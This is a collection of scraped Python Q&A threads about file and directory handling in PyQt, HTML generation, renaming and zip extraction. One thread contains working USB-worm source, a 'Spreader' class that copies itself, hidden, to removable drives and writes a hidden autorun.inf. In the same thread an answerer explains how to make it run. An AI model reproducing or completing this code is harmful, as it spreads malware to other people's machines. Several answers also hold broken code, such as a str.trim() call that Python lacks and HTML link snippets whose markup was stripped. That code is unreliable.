Hey guys I want to use the directory that my function gets in one classes function in another window. I want to pass the directory chosen to the popup window so it can show all the files. Any help would be apprciated
class createedditConvertorpage(QtGui.QMainWindow):
def __init__(self,parent = None):
QtGui.QWidget.__init__(self, parent)
def selectFilecsvtoxml(self):
directory = QtGui.QFileDialog.getExistingDirectory(self, "Pick a folder")
print directory
self.listDirPath.setText(directory)
for file_name in os.listdir(directory):
if not file_name.startswith("."):
print (file_name) + " this is selectFilcestoxml"
self.directory = directory
return directory
class readoutWindow(QtGui.QDialog):
def openTxt(self):
directoryFile = createedditConvertorpage()
directoryFile.selectFilecsvtoxml()
print "this s open text"
print str(directoryFile)
for file_name in directoryFile:
if file_name.endswith(".txt"):
print (file_name) + " this is txt file"
File "/home/ed/Development/Python/Workmain/windows.py", line 1425, in home
self.openTxt()
File "/home/ed/Development/Python/Workmain/windows.py", line 1442, in openTxt
for file_name in directoryFile:
TypeError: 'createedditConvertorpage' object is not iterable
In your Code you are not taking the returned value into a variable, you have just initialised the object directoryFile of your createedditConvertorpage class and called your selectFilecsvtoxml function from that class.
Changed Code:
class createedditConvertorpage(QtGui.QMainWindow):
def __init__(self,parent = None):
QtGui.QWidget.__init__(self, parent)
def selectFilecsvtoxml(self):
directory = QtGui.QFileDialog.getExistingDirectory(self, "Pick a folder")
print directory
self.listDirPath.setText(directory)
for file_name in os.listdir(directory):
if not file_name.startswith("."):
print (file_name) + " this is selectFilcestoxml"
self.directory = directory
return directory
class readoutWindow(QtGui.QDialog):
def openTxt(self):
directoryFile = createedditConvertorpage()
dir1=directoryFile.selectFilecsvtoxml()
print "this s open text"
print str(dir1)
for file_name in dir1:
if file_name.endswith(".txt"):
print (file_name) + " this is txt file"
I have assigned the returned directory to variable dir1.
Please check if this fixes your problem
PYQT is very finnicky about getting the correct path and often you have to crutch code. This looks messy but here is the answer
def openTxt(self):
directoryFile = createedditConvertorpage()
dir1=directoryFile.selectFilecsvtoxml()
print "this s open text"
print str(dir1) + "this is directorry of opentxt"
os.chdir(dir1)
print os.getcwd()+ " this is directory before looking for txt"
files = [f for f in os.listdir('.') if os.path.isfile(f)]
for file_name in files:
if file_name.endswith(".txt"):
print dir1 + "/" + (file_name) + " this is txt file"
readMe = open(file_name,'r').read()
self.textEdit.setText(readMe)
Related
write a python program to create a .html file in a directory, the directory can be created correctly, use function open to create this .html file and try to write some content in this file,but the .html file can not be created,
def save_public_figure_page(self,type,p_f_name):
glovar.date = time.strftime("%Y%m%d", time.localtime())
p_f_page_file_directory = os.path.join("dataset", "html",type,glovar.date,p_f_name)
data_storage.directory_create(p_f_page_file_directory)
html_user_page = glovar.webdriver_browser.page_source
p_f_page_file = os.path.join(p_f_page_file_directory,type + "_" + p_f_name + ".html")
html_file = open(p_f_page_file, "w", encoding='utf-8')
html_file.write(html_user_page)
html_file.close()
the directory_create function in data_storage is:
#create the file storage directory
def directory_create(path):
directory = os.path.join(os.path.dirname(__file__),path)
if not os.path.exists(directory):
os.makedirs(directory)
it errors:
<class 'FileNotFoundError'> at /public_figure_name_sub
[Errno 2] No such file or directory: 'dataset\\html\\public_figure\\20170404\\Donald Trump \\public_figure_Donald Trump .html'
the current directory is under /dataset/, I found the directory:
F:\MyDocument\F\My Document\Training\Python\PyCharmProject\FaceBookCrawl\dataset\html\public_figure\20170404\Donald Trump
has been created correctly,but the file——public_figure_Donald Trump .html can not be created correctly,could you please tell me the reason and how to correct
As suggested by Jean-François Fabre, your file has a space just before the ".html".
To solve this, use trim() in the variable p_f_name in your 7th line:
# Added trim() to p_f_name
p_f_page_file = os.path.join(p_f_page_file_directory,type +
"_" + p_f_name.trim() + ".html")
This will create the file:
public_figure_Donald Trump.html
instead of
public_figure_Donald Trump .html
PD: Anyway your filename has a lot of spaces between Donald and Trump. I don't know where the file name comes but you might want to fix it.
Function save_public_figure_page
class public_figure:
def save_public_figure_page(self, type, p_f_name):
glovar.date = time.strftime("%Y%m%d", time.localtime())
p_f_name = p_f_name.trim() # Trim the name to get rid of extra spaces
p_f_page_name = '{t}_{pfn}.html'.format(t=type, pfn=p_f_name)
p_f_page_file_directory = os.path.join(
directory, # Add the directory from the data_storage.directory property
"dataset", "html",
type, glovar.date, p_f_name,
)
if data_storage.directory_create(self.p_f_page_file_directory):
html_user_page = glovar.webdriver_browser.page_source
p_f_page_file = os.path.join(p_f_page_file_directory, p_f_page_name)
html_file = open(p_f_page_file, "w", encoding='utf-8')
html_file.write(html_user_page)
html_file.close()
directory_create method of data_storage
#create the file storage directory
class data_storage:
def directory_create(self, path):
self.directory = os.path.join(os.path.dirname(__file__), path)
if not os.path.exists(self.directory):
try:
os.makedirs(self.directory)
except:
raise
else:
return True
else:
return True
I am trying to create a script in python 2.7 that will rename all the files in a directory. Below is the code I have so far. The first function removes any numbers in the file name. The second function is supposed to rename the new file name. I get the following error when the second function runs:
[Error 183] Cannot create a file when that file already exists
I know this is because I am not looping through the files and adding an incrementing number to the new filename, so the script changes the name of the first file, and then tries to change the name of the second file to the same name as the first, producing the error.
Can someone help me create a loop that adds an incrementing number to each filename in the directory?
I tried adding:
if file_name == filename:
file_name = file_name + 1
in the while loop, but that obviously doesn't work because I cant concatenate an integer with a string.
import os
def replace_num():
file_list = os.listdir(r"C:\Users\Admin\Desktop\Python Pics")
print(file_list)
saved_path = os.getcwd()
print("Current Working Directory is " + saved_path)
os.chdir(r"C:\Users\Admin\Desktop\Python Pics")
for file_name in file_list:
print("Old Name - " + file_name)
os.rename(file_name, file_name.translate(None, "0123456789"))
os.chdir(saved_path)
replace_num()
def rename_files():
file_list = os.listdir(r"C:\Users\Admin\Desktop\Python Pics")
print(file_list)
saved_path = os.getcwd()
print("Current Working Directory is " + saved_path)
os.chdir(r"C:\Users\Admin\Desktop\Python Pics")
for new_name in file_list:
print("New Name - " + new_name)
try:
os.rename(new_name, "iPhone")
except Exception, e:
print e
rename_files()
instead of doing:
if file_name == filename:
file_name = file_name + 1
do something like this:
counter = 0
for file_name in file_container:
if file_name == file_name: # this will always be True - so it's unnecessary
file_name = "{0}_{1}".format(file_name, counter)
counter += 1
Hello I'm trying to compile this code but I don't get it to compile nothing at all, I don't get any error at compiling, but no results either, the folder stays with the .py file only
import win32api
import win32con
import win32file
import sys
import os
class Spreader(object):
def __init__(self, path): # path must be absolute
print (" [*] Checking information")
self.filename = path.split("\\")[-1]
self.driveFilename = self.filename
if not self.driveFilename.startswith("~"):
self.driveFilename = "~" + self.driveFilename
print ("\t- Local filename: ") + self.filename
print ("\t- Driver filename: ") + self.driveFilename
self.path = "\\".join(path.split("\\")[:-1]) + "\\" + self.filename
print ("\t- Full path: ") + self.path
print ("\n [*] Getting removable drives")
self.drives = self.__getRemovableDrives()
if len(self.drives) == None:
print (" [-] No removable drives available")
sys.exit()
for drive in self.drives:
print ("\t- ") + drive
print ("\n [*] Spreading")
self.__spread()
print ("\n [+] Successfully spread")
def __getRemovableDrives(self):
removableDrives = []
drives = win32api.GetLogicalDriveStrings().split("\000")[:-1]
for drive in drives:
driveType = win32file.GetDriveType(drive)
if driveType == win32file.DRIVE_REMOVABLE:
removableDrives.append(drive)
return removableDrives
def __spread(self):
for drive in self.drives:
if drive == "A:\\":
continue
else:
driveFile = drive + self.driveFilename
driveAutorun = drive + "autorun.inf"
print (" [+] ") + drive
if not os.path.exists(driveFile):
self.__copyFile(driveFile)
if not os.path.exists(driveAutorun):
self.__createAutorun(driveAutorun)
def __copyFile(self, driveFile):
print ("\t- Copying file: ") + self.driveFilename,
win32file.CopyFile(self.path, driveFile, 0)
print ("\t\t\tDONE")
print ("\t- Hidding file"),
win32api.SetFileAttributes(driveFile,\
win32con.FILE_ATTRIBUTE_HIDDEN)
print ("\t\t\tDONE")
def __createAutorun(self, driveAutorun):
print ("\t- Creating autorun.inf"),
autorun = open(driveAutorun, "w")
content = """[Autorun]
open={0}
icon={0}
label=Python Spreader
UseAutoPlay=1
action=Start my App
action=#{0}
shell\open=Open
shell\open\Command={0}
shell\explore=explore
shell\explore\command={0}""".format(self.driveFilename)
autorun.write(content)
autorun.close()
print ("\t\t\tDONE")
print ("\t- Hidding autorun"),
win32api.SetFileAttributes(driveAutorun,\
win32con.FILE_ATTRIBUTE_HIDDEN)
print ("\t\t\tDONE")
Can someone help me out?
You have written the code, but you never call your class and its method anywhere. As such, python just creates the class object etc and then does nothing more with it, because there are no more instructions to execute.
I think, at the minimum, you should add the following code to see what output/errors your code gives:
if __name__ == "__main__":
spread = Spreader(some_path)
Note that you are creating method names with the __method convention, which means they are being name scrambled.
Since you are copying files, you can give the actual file path (the complete path of the exe being copied) in place of some_path above, and that should work. If not, you will need to debug deeper using pdb.
Finally, the __main__ block needs to be placed at the end of your script.
i would like to unzip all the folders and files of an archive below the root folder, i have archive named abc.zip which gives me files as abc/xyz/ abc/123.jpg abc/xyz1/ , i just want to extract xyz/ , 123.jpg and xyz1/ in the CWD
i use below code to extract a file, but would need help on how to omit the root folder of the list
def unzip_artifact( local_directory, file_path ):
fileName, ext = os.path.splitext( file_path )
if ext == ".zip":
Downloadfile = basename(fileName) + ext
print 'unzipping file ' + Downloadfile
try:
zipfile.ZipFile(file_path).extractall(local_directory)
except zipfile.error, e:
print "Bad zipfile: %s" % (e)
return
You have to use a more complex (and therefore more customizable) way to unzip. Instead of using the 'extractall' method, you must extract each files separately with the 'extract' method. Then you will be able to change the destination directory, omitting archive's sub-directories.
Here is your code with the modification you needed :
def unzip_artifact( local_directory, file_path ):
fileName, ext = os.path.splitext( file_path )
if ext == ".zip":
Downloadfile = fileName + ext
print 'unzipping file ' + Downloadfile
try:
#zipfile.ZipFile(file_path).extractall(local_directory) # Old way
# Open the zip
with zipfile.ZipFile(file_path) as zf:
# For each members of the archive
for member in zf.infolist():
# If it's a directory, continue
if member.filename[-1] == '/': continue
# Else write its content to the root
with open(local_directory+'/'+os.path.basename(member.filename), "w") as outfile:
outfile.write(zf.read(member))
except zipfile.error, e:
print "Bad zipfile: %s" % (e)
return
I have a script that creates a folder called "videos" on a USB drive, moves 6,500 WMV files over to the "videos" folder. Then it's suppose to create an HTML page with hyperlinks to each file. Here is my current example that's broken. I'm trying to have it crawl the videos directory and create an HTML page with hyperlinks only to the local files on the USB drive.
#!/usr/bin/python
import os.path
import os
import shutil
import re
# Create the videos directory in the current location
# If the directory exists ignore it
def createDirectory():
directory = "videos"
if not os.path.isdir("./" + directory + "/"):
os.mkdir("./" + directory + "/")
print "Videos Folder Created."
else:
print "Video Folder Exists."
print "---------------------"
# Move all the files in the root directory with the .wmv extension
# to the videos folder
def moveVideos():
for file in os.listdir("."):
if os.path.splitext(file)[1] == ".wmv":
print "Moving:", file
shutil.move(file, os.path.join("videos", file))
def createHTML():
videoDirectory = os.listdir("videos")
f = open("videos.html", "w")
f.writelines(videoDirectory)
r = re.compile(r"(\\[^ ]+)")
print r.sub(r'\1', videoDirectory)
createDirectory()
moveVideos()
createHTML()
import cgi
def is_video_file(filename):
return filename.endswith(".wmv") # customize however you like
def createHTML():
videoDirectory = os.listdir("videos")
with open("videos.html", "w") as f:
f.write("<html><body><ul>\n")
for filename in videoDirectory:
if is_video_file(filename):
f.write('<li>%s</li>\n' %
(cgi.escape(filename, True), cgi.escape(filename)))
f.write("</ul></body></html>\n")
Don't do f.writelines(videoDirectory) and then regex. Besides you're only printing to the console with that regex subsitution.
Do
videoDirectory = os.listdir("videos")
f = open("videos.html", "w")
f.write('<html><head></head><body><ul>'
f.writelines(['<li>%s</li>' % (f, f) for f in videoDirectory])
f.write('</ul></body></html>')
def createHTML():
h = open("videos.html", 'w')
for vid in os.listdir:
path = "./videos" + vid
f = open(path, r)
h.write("<a href='"+f.name+"'>"+f.name[f.name.rfind('\\') +1 :]+"</a>")
f.close()
h.close()
print "done writing HTML file"